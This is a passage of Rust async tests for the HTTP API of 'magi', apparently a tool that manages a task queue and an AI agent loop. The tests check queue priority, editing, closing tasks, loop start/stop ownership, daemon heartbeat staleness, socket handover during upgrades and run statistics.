6939            "filed first".to_owned(),
6940            "x".to_owned(),
6941            PathBuf::from("/repo/magi"),
6942            Source::Human,
6943        );
6944        older.id = "20260101-000001-aaaa".to_owned();
6945        let mut newer = Task::new(
6946            "filed second".to_owned(),
6947            "x".to_owned(),
6948            PathBuf::from("/repo/magi"),
6949            Source::Human,
6950        );
6951        newer.id = "20260101-000002-bbbb".to_owned();
6952        queue.put(&mut older).expect("file older");
6953        queue.put(&mut newer).expect("file newer");
6954
6955        // Equal priority: the newer task leads, the same order the old
6956        // newest-first `list()` already gave every equal-priority queue.
6957        let before = f.get("/api/queue").await.json();
6958        assert_eq!(before[0]["id"], newer.id);
6959        assert_eq!(before[1]["id"], older.id);
6960
6961        // Raising the *older* task is the meaningful case: it can only lead
6962        // now because its priority says so, not because it happens to be
6963        // newest.
6964        let raised = f
6965            .post(
6966                &format!("/api/queue/{}/priority", older.id),
6967                Some(r#"{"priority":10}"#),
6968            )
6969            .await;
6970        assert_eq!(raised.status, 200, "{}", raised.body);
6971        assert_eq!(raised.json()["priority"], 10);
6972
6973        let after = f.get("/api/queue").await.json();
6974        let names: Vec<&str> = after
6975            .as_array()
6976            .unwrap()
6977            .iter()
6978            .map(|t| t["id"].as_str().unwrap())
6979            .collect();
6980        // Highest priority first, which is the order next_runnable and
6981        // `magi task list` both use - GET /api/queue must agree with it
6982        // immediately, not just once the loop claims the task.
6983        assert_eq!(names[0], older.id, "the raised task now sorts first");
6984    }
6985
6986    #[tokio::test]
6987    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6988        let f = Fixture::start().await;
6989        let queue = f.queue();
6990        let mut task = Task::new(
6991            "in flight".to_owned(),
6992            "x".to_owned(),
6993            PathBuf::from("/repo/magi"),
6994            Source::Human,
6995        );
6996        task.start("20260902-140502-bbbb".to_owned());
6997        queue.put(&mut task).expect("file the task");
6998
6999        let res = f
7000            .post(
7001                &format!("/api/queue/{}/priority", task.id),
7002                Some(r#"{"priority":9}"#),
7003            )
7004            .await;
7005        assert_eq!(res.status, 400, "{}", res.body);
7006        assert!(
7007            res.json()["error"]
7008                .as_str()
7009                .is_some_and(|e| e.contains("running")),
7010            "{}",
7011            res.body
7012        );
7013        assert_eq!(
7014            queue.get(&task.id).expect("reload").priority,
7015            0,
7016            "the refused write must not partially apply"
7017        );
7018    }
7019
7020    #[tokio::test]
7021    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
7022        let f = Fixture::start().await;
7023        let queue = f.queue();
7024        let mut task = Task::new(
7025            "old title".to_owned(),
7026            "old instruction".to_owned(),
7027            PathBuf::from("/repo/magi"),
7028            Source::Agent {
7029                run: "20260101-000000-beef".to_owned(),
7030                node: "implement".to_owned(),
7031            },
7032        );
7033        task.runs.push("20260101-000000-beef".to_owned());
7034        queue.put(&mut task).expect("file the task");
7035        let created_at = task.created_at;
7036
7037        let edited = f
7038            .post(
7039                &format!("/api/queue/{}/edit", task.id),
7040                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
7041            )
7042            .await;
7043        assert_eq!(edited.status, 200, "{}", edited.body);
7044        let body = edited.json();
7045        assert_eq!(body["title"], "new title");
7046        assert_eq!(body["instruction"], "new instruction");
7047        assert_eq!(body["id"], task.id, "editing must not mint a new id");
7048        assert_eq!(body["created_at"], created_at.to_string());
7049        assert_eq!(
7050            body["source"]["kind"], "agent",
7051            "editing a task an agent filed must not turn it human: {body}"
7052        );
7053        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
7054
7055        let reloaded = queue.get(&task.id).expect("reload");
7056        assert_eq!(reloaded.title, "new title");
7057        assert_eq!(reloaded.instruction, "new instruction");
7058    }
7059
7060    #[tokio::test]
7061    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
7062        let f = Fixture::start().await;
7063        let queue = f.queue();
7064        let mut task = Task::new(
7065            "in flight".to_owned(),
7066            "do not touch".to_owned(),
7067            PathBuf::from("/repo/magi"),
7068            Source::Human,
7069        );
7070        task.start("20260902-140502-bbbb".to_owned());
7071        queue.put(&mut task).expect("file the task");
7072
7073        let res = f
7074            .post(
7075                &format!("/api/queue/{}/edit", task.id),
7076                Some(r#"{"title":"x","instruction":"y"}"#),
7077            )
7078            .await;
7079        assert_eq!(res.status, 400, "{}", res.body);
7080        assert!(
7081            res.json()["error"]
7082                .as_str()
7083                .is_some_and(|e| e.contains("running")),
7084            "{}",
7085            res.body
7086        );
7087        assert_eq!(
7088            queue.get(&task.id).expect("reload").instruction,
7089            "do not touch",
7090            "the refused edit must not change the file"
7091        );
7092    }
7093
7094    #[tokio::test]
7095    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
7096        let f = Fixture::start().await;
7097        let queue = f.queue();
7098        let mut task = Task::new(
7099            "busy".to_owned(),
7100            "Running right now".to_owned(),
7101            PathBuf::from("/repo/magi"),
7102            Source::Human,
7103        );
7104        queue.put(&mut task).expect("file the task");
7105        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7106
7107        let priority = f
7108            .post(
7109                &format!("/api/queue/{}/priority", task.id),
7110                Some(r#"{"priority":9}"#),
7111            )
7112            .await;
7113        assert_eq!(priority.status, 409, "{}", priority.body);
7114
7115        let edit = f
7116            .post(
7117                &format!("/api/queue/{}/edit", task.id),
7118                Some(r#"{"title":"x","instruction":"y"}"#),
7119            )
7120            .await;
7121        assert_eq!(edit.status, 409, "{}", edit.body);
7122    }
7123
7124    #[tokio::test]
7125    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
7126        let f = Fixture::start().await;
7127        let queue = f.queue();
7128        let mut task = Task::new(
7129            "shipped by hand".to_owned(),
7130            "merged outside the loop".to_owned(),
7131            PathBuf::from("/repo/magi"),
7132            Source::Agent {
7133                run: "20260101-000000-b455".to_owned(),
7134                node: "implement".to_owned(),
7135            },
7136        );
7137        task.runs.push("20260101-000000-b455".to_owned());
7138        task.runs.push("20260101-000000-9af4".to_owned());
7139        queue.put(&mut task).expect("file the task");
7140        let created_at = task.created_at;
7141
7142        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7143        assert_eq!(done.status, 200, "{}", done.body);
7144        assert_eq!(done.json()["status_str"], "done");
7145
7146        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
7147        assert_eq!(
7148            reloaded.runs,
7149            ["20260101-000000-b455", "20260101-000000-9af4"]
7150        );
7151        assert_eq!(
7152            reloaded.source,
7153            Source::Agent {
7154                run: "20260101-000000-b455".to_owned(),
7155                node: "implement".to_owned(),
7156            }
7157        );
7158        assert_eq!(reloaded.created_at, created_at);
7159    }
7160
7161    #[tokio::test]
7162    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
7163        // `done` is allowed on any status, including `held`, with no release
7164        // in between - so a task held for a reason and then closed directly
7165        // must not keep reading as "waiting on" it afterwards, on its card or
7166        // in `magi task show`.
7167        let f = Fixture::start().await;
7168        let queue = f.queue();
7169        let mut task = Task::new(
7170            "landed while held".to_owned(),
7171            "x".to_owned(),
7172            PathBuf::from("/repo/magi"),
7173            Source::Human,
7174        );
7175        task.hold_manual(Some("waiting on 3ed9".to_owned()));
7176        queue.put(&mut task).expect("file the held task");
7177
7178        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7179        assert_eq!(done.status, 200, "{}", done.body);
7180        assert_eq!(done.json()["status_str"], "done");
7181        assert!(
7182            done.json()["hold_reason"].is_null(),
7183            "a done task cannot still be waiting on something: {}",
7184            done.body
7185        );
7186    }
7187
7188    #[tokio::test]
7189    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
7190        // `queue_done` is the phone's way to close a task the loop never
7191        // settled itself - after confirming a manual GitHub merge, say - and
7192        // that is just as much "this task's story is over" as the loop's own
7193        // `Merged`/`Ready` path, so it must trigger the same cleanup.
7194        let f = Fixture::start().await;
7195        let queue = f.queue();
7196        let runs = f.runs();
7197        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
7198        // The last attempt has to have actually landed for the earlier one
7199        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
7200        // for the case where it didn't.
7201        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
7202
7203        let mut task = Task::new(
7204            "landed by hand".to_owned(),
7205            "x".to_owned(),
7206            PathBuf::from("/repo/magi"),
7207            Source::Human,
7208        );
7209        task.runs.push("20260101-000000-doa1".to_owned());
7210        task.runs.push("20260101-000000-doa2".to_owned());
7211        queue.put(&mut task).expect("file the task");
7212
7213        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7214        assert_eq!(done.status, 200, "{}", done.body);
7215
7216        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
7217            .expect("run still on disk under this fixture's own home");
7218        assert_eq!(
7219            reloaded_run.status,
7220            RunStatus::Superseded,
7221            "closing the task by hand must relabel the earlier blocked attempt exactly \
7222             like the loop's own settle path does"
7223        );
7224    }
7225
7226    #[tokio::test]
7227    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
7228        // Closing a task by hand is allowed from any status, including one
7229        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
7230        // manual merge the loop never watched, say. Nothing here is provably
7231        // why the task is done, so nothing earlier gets relabelled either.
7232        let f = Fixture::start().await;
7233        let queue = f.queue();
7234        let runs = f.runs();
7235        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
7236        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
7237
7238        let mut task = Task::new(
7239            "closed with nothing actually landed".to_owned(),
7240            "x".to_owned(),
7241            PathBuf::from("/repo/magi"),
7242            Source::Human,
7243        );
7244        task.runs.push("20260101-000000-dob1".to_owned());
7245        task.runs.push("20260101-000000-dob2".to_owned());
7246        queue.put(&mut task).expect("file the task");
7247
7248        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7249        assert_eq!(done.status, 200, "{}", done.body);
7250
7251        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
7252            .expect("run still on disk under this fixture's own home");
7253        assert_eq!(
7254            reloaded_run.status,
7255            RunStatus::Blocked,
7256            "the last recorded attempt never landed, so the earlier one must not be \
7257             relabelled as superseded by it"
7258        );
7259    }
7260
7261    #[tokio::test]
7262    async fn unknown_ids_are_json_not_found_on_both_stores() {
7263        let f = Fixture::start().await;
7264
7265        let run = f.get("/api/runs/nosuchrun").await;
7266        let task = f.post("/api/queue/nosuchtask/hold", None).await;
7267
7268        assert_eq!(run.status, 404);
7269        assert_eq!(task.status, 404);
7270        assert!(
7271            run.json()["error"]
7272                .as_str()
7273                .is_some_and(|e| e.contains("run")),
7274            "the error names what was not found: {}",
7275            run.body
7276        );
7277        assert!(
7278            task.json()["error"]
7279                .as_str()
7280                .is_some_and(|e| e.contains("task")),
7281            "the error names what was not found: {}",
7282            task.body
7283        );
7284    }
7285
7286    #[tokio::test]
7287    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
7288        let f = Fixture::start().await;
7289
7290        let missing = f.get("/api/health").await.json();
7291        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
7292
7293        write_daemon(
7294            f.home.path(),
7295            Timestamp::now() - jiff::SignedDuration::from_secs(60),
7296        );
7297        let stale = f.get("/api/health").await.json();
7298        assert_eq!(
7299            stale["daemon"]["running"], false,
7300            "a minute without a heartbeat is a dead daemon, not a busy one"
7301        );
7302        assert!(
7303            stale["daemon"]["stale_for_secs"]
7304                .as_i64()
7305                .is_some_and(|s| s >= 55),
7306            "staleness is reported so the UI can say how long: {stale}"
7307        );
7308
7309        write_daemon(f.home.path(), Timestamp::now());
7310        let fresh = f.get("/api/health").await.json();
7311        assert_eq!(fresh["daemon"]["running"], true);
7312        assert_eq!(fresh["daemon"]["idle"], false);
7313        assert_eq!(fresh["daemon"]["pid"], 4242);
7314        assert_eq!(fresh["daemon"]["completed"], 7);
7315        assert_eq!(
7316            fresh["daemon"]["current"][0]["task"],
7317            "20260902-140501-aaaa"
7318        );
7319        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
7320    }
7321
7322    #[tokio::test]
7323    async fn the_loop_is_not_running_until_something_starts_it() {
7324        let f = Fixture::start().await;
7325
7326        let view = f.get("/api/loop").await.json();
7327        assert_eq!(view["running"], false);
7328        assert_eq!(
7329            view["owned"], false,
7330            "nobody owns a loop that does not exist: {view}"
7331        );
7332        assert_eq!(view["stopping"], false);
7333        assert_eq!(view["last_error"], Value::Null);
7334        assert_eq!(view["daemon"]["running"], false);
7335        assert_eq!(
7336            view["repo"], "/repo/magi",
7337            "the repository a start would use, named before it is started"
7338        );
7339    }
7340
7341    #[tokio::test]
7342    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
7343        let f = Fixture::start().await;
7344
7345        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7346        assert_eq!(res.status, 200, "{}", res.body);
7347        let view = res.json();
7348        assert_eq!(view["running"], true);
7349        assert_eq!(
7350            view["owned"], true,
7351            "the loop the UI started is the UI's own to stop: {view}"
7352        );
7353        assert_eq!(
7354            view["merge"],
7355            Value::Null,
7356            "no override was given, so each repository's own config decides"
7357        );
7358
7359        // The same object from the route a waking phone polls first. Two
7360        // surfaces disagreeing about whether anything is running is exactly
7361        // the confusion this UI exists to remove.
7362        let health = f.get("/api/health").await.json();
7363        assert_eq!(health["loop"]["running"], true, "{health}");
7364        assert_eq!(health["loop"]["owned"], true, "{health}");
7365
7366        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7367    }
7368
7369    #[tokio::test]
7370    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
7371        let f = Fixture::start().await;
7372        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7373        assert_eq!(first.status, 200, "{}", first.body);
7374
7375        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7376        assert_eq!(
7377            again.status, 409,
7378            "two loops on one queue race for the same claims: {}",
7379            again.body
7380        );
7381        assert!(
7382            again.json()["error"]
7383                .as_str()
7384                .is_some_and(|e| e.contains("already running the loop")),
7385            "the refusal has to say why: {}",
7386            again.body
7387        );
7388        assert_eq!(
7389            f.get("/api/loop").await.json()["running"],
7390            true,
7391            "and the loop that was already running is untouched by it"
7392        );
7393
7394        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7395    }
7396
7397    #[tokio::test]
7398    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
7399        let f = Fixture::start().await;
7400        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7401
7402        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7403        assert_eq!(
7404            res.status, 200,
7405            "the answer must not wait for the loop: a run in flight is tens of \
7406             minutes and the operator is holding a phone: {}",
7407            res.body
7408        );
7409
7410        let view = settled(&f, |v| v["running"] == false).await;
7411        assert_eq!(view["owned"], false);
7412        assert_eq!(
7413            view["stopping"], false,
7414            "a loop that has stopped is not still stopping: {view}"
7415        );
7416        assert_eq!(
7417            view["last_error"],
7418            Value::Null,
7419            "a loop that was asked to stop did not fail: {view}"
7420        );
7421
7422        // Idempotent, because the operator cannot tell a slow stop from a lost
7423        // one and will press it again.
7424        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7425        assert_eq!(twice.status, 200, "{}", twice.body);
7426    }
7427
7428    #[tokio::test]
7429    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
7430        let f = Fixture::start().await;
7431        // How the operator has been doing it: a `magi serve` of their own,
7432        // heartbeat fresh, in the same home this UI reads.
7433        write_daemon(f.home.path(), Timestamp::now());
7434
7435        let view = f.get("/api/loop").await.json();
7436        assert_eq!(view["running"], false, "not in this process: {view}");
7437        assert_eq!(view["owned"], false, "and not this process's to control");
7438        assert_eq!(
7439            view["daemon"]["running"], true,
7440            "but a loop is alive somewhere, which is what the UI must say"
7441        );
7442        assert_eq!(view["daemon"]["pid"], 4242);
7443
7444        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
7445            let res = f.post("/api/loop", Some(body)).await;
7446            assert_eq!(
7447                res.status, 409,
7448                "neither button may pretend to work on someone else's loop: {}",
7449                res.body
7450            );
7451            assert!(
7452                res.json()["error"]
7453                    .as_str()
7454                    .is_some_and(|e| e.contains("4242")),
7455                "the refusal has to name the process the operator must go to: {}",
7456                res.body
7457            );
7458        }
7459        assert_eq!(
7460            f.get("/api/loop").await.json()["running"],
7461            false,
7462            "and the refusal started nothing"
7463        );
7464    }
7465
7466    #[tokio::test]
7467    async fn a_stale_status_file_is_not_a_foreign_owner() {
7468        let f = Fixture::start().await;
7469        write_daemon(
7470            f.home.path(),
7471            Timestamp::now() - jiff::SignedDuration::from_secs(60),
7472        );
7473
7474        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7475        assert_eq!(
7476            res.status, 200,
7477            "a daemon killed a minute ago must not lock the loop out of its \
7478             own home for good: {}",
7479            res.body
7480        );
7481        assert_eq!(res.json()["running"], true);
7482
7483        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7484    }
7485
7486    #[tokio::test]
7487    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
7488        let f = Fixture::start().await;
7489        let before = f.get("/api/health").await.json()["loop_rev"]
7490            .as_u64()
7491            .expect("a loop revision");
7492
7493        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7494
7495        let after = f.get("/api/health").await.json()["loop_rev"]
7496            .as_u64()
7497            .expect("a loop revision");
7498        assert!(
7499            after > before,
7500            "the loop is in-process state, so this counter is the only thing \
7501             that tells a second device the first one started it: {before} -> \
7502             {after}"
7503        );
7504
7505        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7506    }
7507
7508    #[tokio::test]
7509    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
7510        let f = Fixture::with_loop(launch_broken).await;
7511
7512        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7513        assert_eq!(
7514            res.status, 200,
7515            "starting it is not the failure: {}",
7516            res.body
7517        );
7518
7519        let view = settled(&f, |v| v["last_error"].is_string()).await;
7520        assert_eq!(
7521            view["running"], false,
7522            "a loop that died must not read as running, or the operator has \
7523             nothing to press: {view}"
7524        );
7525        assert_eq!(view["owned"], false);
7526        assert!(
7527            view["last_error"]
7528                .as_str()
7529                .is_some_and(|e| e.contains("read-only file system")),
7530            "the phone is where a loop that died at 3am is visible: {view}"
7531        );
7532
7533        // And it can be started again: the corpse was reaped, not left to
7534        // occupy the slot.
7535        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7536        assert_eq!(again.status, 200, "{}", again.body);
7537        assert_eq!(
7538            again.json()["last_error"],
7539            Value::Null,
7540            "a fresh start does not keep showing why the last one died"
7541        );
7542    }
7543
7544    /// An upgrade parks the run in flight before it restarts, and a park waits
7545    /// for the node - up to `timeout_implement`, an hour by default. The deck
7546    /// has to answer for all of it: the operator has just been told a run is
7547    /// finishing first, and this address is the only place that says how it is
7548    /// going. It did not, once - the listener went with the `select!` arm that
7549    /// began the handover, and the phone got `Cannot reach magi: Failed to
7550    /// fetch` for the rest of the wave.
7551    ///
7552    /// The other half is the older rule: the address must be free *before* the
7553    /// successor is started, or it dies on "address already in use" with its
7554    /// stdio sent to null and the deck never comes back.
7555    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
7556    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
7557        let home = TempDir::new().expect("temp home");
7558        let runs = home.path().join("runs");
7559        std::fs::create_dir_all(&runs).expect("runs dir");
7560        let ui = Ui::new(
7561            Queue::at(home.path().join("queue")),
7562            Questions::at(home.path().join("questions")),
7563            Talks::at(home.path().join("talks")),
7564            runs,
7565            home.path().to_path_buf(),
7566            PathBuf::from("/repo/magi"),
7567        )
7568        .with_worktrees_root(home.path().join("wt"))
7569        .with_launch(launch_knocking_on_the_way_out);
7570        let looping = ui.looping();
7571        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7572            .await
7573            .expect("bind loopback");
7574        let addr = listener.local_addr().expect("local addr");
7575        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
7576        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7577
7578        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
7579        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
7580
7581        // The successor's whole job, and the one thing it cannot do while this
7582        // process still holds the socket.
7583        //
7584        // One bind is not enough, and the reason is not this process's order of
7585        // operations: aborting the accept loop drops the listener, but axum
7586        // serves each accepted connection on a task of its own, and those are
7587        // not aborted. The requests above left sockets on this very address,
7588        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
7589        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
7590        // Production absorbs that in `bind_waiting`; so does this. Only
7591        // `AddrInUse` is retried, and the listener is released before the
7592        // closure returns - were the order wrong, the listener would outlive
7593        // the closure and every attempt would fail. Inferred from the bind
7594        // rules and the code; not reproduced on macOS.
7595        let bound = std::sync::Mutex::new(None);
7596        hand_over(home.path(), &looping, served, || {
7597            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
7598            let attempt = loop {
7599                match std::net::TcpListener::bind(addr) {
7600                    Ok(l) => {
7601                        drop(l);
7602                        break Ok(());
7603                    }
7604                    Err(e)
7605                        if e.kind() == std::io::ErrorKind::AddrInUse
7606                            && std::time::Instant::now() < deadline =>
7607                    {
7608                        std::thread::sleep(std::time::Duration::from_millis(10));
7609                    }
7610                    Err(e) => break Err(e.to_string()),
7611                }
7612            };
7613            *bound.lock().expect("bound") = Some(attempt);
7614            Ok(())
7615        })
7616        .await
7617        .expect("hand over");
7618
7619        assert_eq!(
7620            *PARK_HEARD.lock().expect("park heard"),
7621            Some(200),
7622            "the deck must answer while the loop is parking"
7623        );
7624        let attempt = bound
7625            .lock()
7626            .expect("bound")
7627            .take()
7628            .expect("the successor was started");
7629        assert!(
7630            attempt.is_ok(),
7631            "and the address must be free by the time it is: {attempt:?}"
7632        );
7633    }
7634
7635    #[tokio::test]
7636    async fn a_newer_daemon_status_file_still_renders() {
7637        let f = Fixture::start().await;
7638        // A field this build has never heard of must not turn the status line
7639        // into a 500; that is the whole reason the reader is permissive.
7640        std::fs::write(
7641            f.home.path().join("daemon.json"),
7642            serde_json::json!({
7643                "schema": 2,
7644                "updated_at": Timestamp::now().to_string(),
7645                "idle": true,
7646                "surprise": { "nested": [1, 2, 3] },
7647            })
7648            .to_string(),
7649        )
7650        .expect("write daemon.json");
7651
7652        let health = f.get("/api/health").await;
7653
7654        assert_eq!(health.status, 200);
7655        assert_eq!(health.json()["daemon"]["running"], true);
7656    }
7657
7658    #[tokio::test]
7659    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
7660        let f = Fixture::start().await;
7661        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7662        let broken = f.runs().join("20260902-140502-bad");
7663        std::fs::create_dir_all(&broken).expect("run dir");
7664        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7665
7666        let list = f.get("/api/runs").await;
7667        let detail = f.get("/api/runs/20260902-140502-bad").await;
7668
7669        assert_eq!(list.status, 200);
7670        let listed = list.json();
7671        let ids: Vec<&str> = listed
7672            .as_array()
7673            .expect("an array")
7674            .iter()
7675            .map(|r| r["id"].as_str().expect("an id"))
7676            .collect();
7677        assert_eq!(
7678            ids,
7679            vec!["20260902-140501-good"],
7680            "one unreadable run must not cost the operator the whole history"
7681        );
7682        assert_eq!(detail.status, 500);
7683        assert!(
7684            detail.json()["error"]
7685                .as_str()
7686                .is_some_and(|e| e.contains("run.json")),
7687            "the failure names the file to look at: {}",
7688            detail.body
7689        );
7690        // A skipped run has to be countable somewhere, or the UI shows an
7691        // empty history with nothing to explain it - which is exactly what a
7692        // directory full of older-schema runs looks like.
7693        let health = f.get("/api/health").await;
7694        assert_eq!(health.json()["runs_unreadable"], 1);
7695    }
7696
7697    /// The dashboard reads every run's state itself rather than trusting a
7698    /// separately-maintained count, so an unreadable run must be counted the
7699    /// same way `/api/health` counts it - never silently dropped the way the
7700    /// CLI's own `stats::load_all` drops it.
7701    #[tokio::test]
7702    async fn stats_runs_unreadable_matches_health() {
7703        let f = Fixture::start().await;
7704        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7705        let broken = f.runs().join("20260902-140502-bad");
7706        std::fs::create_dir_all(&broken).expect("run dir");
7707        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7708
7709        let stats = f.get("/api/stats").await;
7710        let health = f.get("/api/health").await;
7711
7712        assert_eq!(stats.status, 200);
7713        assert_eq!(stats.json()["totals"]["runs"], 1);
7714        assert_eq!(stats.json()["runs_unreadable"], 1);
7715        assert_eq!(
7716            stats.json()["runs_unreadable"],
7717            health.json()["runs_unreadable"],
7718            "the dashboard and /api/health must never disagree about how many \
7719             runs could not be read"
7720        );
7721    }
7722
7723    #[tokio::test]
7724    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
7725        let f = Fixture::start().await;
7726        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7727        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
7728        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
7729
7730        let totals = &f.get("/api/stats").await.json()["totals"];
7731        assert_eq!(totals["runs"], 3);
7732        assert_eq!(totals["merged"], 1);
7733        assert_eq!(totals["stalled"], 1);
7734        assert_eq!(totals["in_progress"], 1);
7735        // A stalled run must never read as blocked/merged/ready - it is its
7736        // own bucket, not folded into a "decided" one.
7737        assert_eq!(totals["blocked"], 0);
7738        assert_eq!(totals["ready"], 0);
7739    }
7740
7741    #[tokio::test]
7742    async fn stats_advisors_report_proposals_and_reflection() {
7743        use crate::advise::{Advice, AdvisorRecord, Reflection};
7744        use crate::verdict::Proposal;
7745
7746        let f = Fixture::start().await;
7747        let mut state = RunState::new(
7748            PathBuf::from("/repo/magi"),
7749            "main".to_owned(),
7750            "0123456789abcdef".to_owned(),
7751            "task".to_owned(),
7752            Config::default(),
7753        );
7754        state.id = "20260902-140501-a".to_owned();
7755        state.status = RunStatus::Merged;
7756        state.advice = Some(Advice {
7757            records: vec![
7758                AdvisorRecord {
7759                    seat: "advisor-1".to_owned(),
7760                    agent: "alpha".to_owned(),
7761                    proposal: Some(Proposal {
7762                        approach: "do it".to_owned(),
7763                        key_tradeoff: "speed over memory".to_owned(),
7764                        risks: Vec::new(),
7765                        touches: Vec::new(),
7766                        why_not_naive: "breaks under load".to_owned(),
7767                    }),
7768                    error: None,
7769                    duration_ms: 0,
7770                    reflection: Reflection::Strong,
7771                },
7772                AdvisorRecord {
7773                    seat: "advisor-2".to_owned(),
7774                    agent: "alpha".to_owned(),
7775                    proposal: None,
7776                    error: Some("timed out".to_owned()),
7777                    duration_ms: 0,
7778                    reflection: Reflection::Absent,
7779                },
7780            ],
7781            synthesis: Some("blended brief".to_owned()),
7782        });
7783        let dir = f.runs().join(&state.id);
7784        std::fs::create_dir_all(&dir).expect("run dir");
7785        std::fs::write(
7786            dir.join("run.json"),
7787            serde_json::to_string_pretty(&state).expect("serialize run"),
7788        )
7789        .expect("write run.json");
7790
7791        let advisors = f.get("/api/stats").await.json()["advisors"].clone();
7792        let alpha = advisors
7793            .as_array()
7794            .expect("an array")
7795            .iter()
7796            .find(|a| a["agent"] == "alpha")
7797            .expect("alpha row");
7798        assert_eq!(alpha["seated"], 2);
7799        assert_eq!(alpha["proposed"], 1);
7800        assert_eq!(alpha["absent"], 1);
7801        assert_eq!(alpha["strong"], 1);
7802        assert_eq!(alpha["faint"], 0);
7803        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
7804    }
7805
7806    #[tokio::test]
7807    async fn stats_release_bumps_split_clean_from_attention() {
7808        use crate::run::ReleaseBump;
7809
7810        let f = Fixture::start().await;
7811
7812        let mut clean = RunState::new(
7813            PathBuf::from("/repo/magi"),
7814            "main".to_owned(),
7815            "0123456789abcdef".to_owned(),
7816            "task".to_owned(),
7817            Config::default(),
7818        );
7819        clean.id = "20260902-140501-a".to_owned();
7820        clean.status = RunStatus::Merged;
7821        clean.release_bump = Some(ReleaseBump {
7822            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
7823            version: Some("1.0.0".to_owned()),
7824            automerge_enabled: true,
7825            merged_directly: false,
7826            problem: None,
7827            action_required: None,
7828        });
7829
7830        let mut blocked = RunState::new(
7831            PathBuf::from("/repo/magi"),
7832            "main".to_owned(),
7833            "0123456789abcdef".to_owned(),
7834            "task".to_owned(),
7835            Config::default(),
7836        );
7837        blocked.id = "20260902-140502-b".to_owned();
7838        blocked.status = RunStatus::Merged;
7839        blocked.release_bump = Some(ReleaseBump {
7840            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
7841            version: Some("1.0.1".to_owned()),
7842            automerge_enabled: false,
7843            merged_directly: false,
7844            problem: Some("checks red".to_owned()),
7845            action_required: Some("look at the PR".to_owned()),
7846        });
7847
7848        for state in [&clean, &blocked] {
7849            let dir = f.runs().join(&state.id);
7850            std::fs::create_dir_all(&dir).expect("run dir");
7851            std::fs::write(
7852                dir.join("run.json"),
7853                serde_json::to_string_pretty(state).expect("serialize run"),
7854            )
7855            .expect("write run.json");
7856        }
7857
7858        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
7859        assert_eq!(bumps["merged"], 2);
7860        assert_eq!(bumps["recorded"], 2);
7861        assert_eq!(bumps["pr_opened"], 2);
7862        assert_eq!(bumps["automerge_enabled"], 1);
7863        assert_eq!(bumps["needs_attention"], 1);
7864        assert_eq!(bumps["clean"], 1);
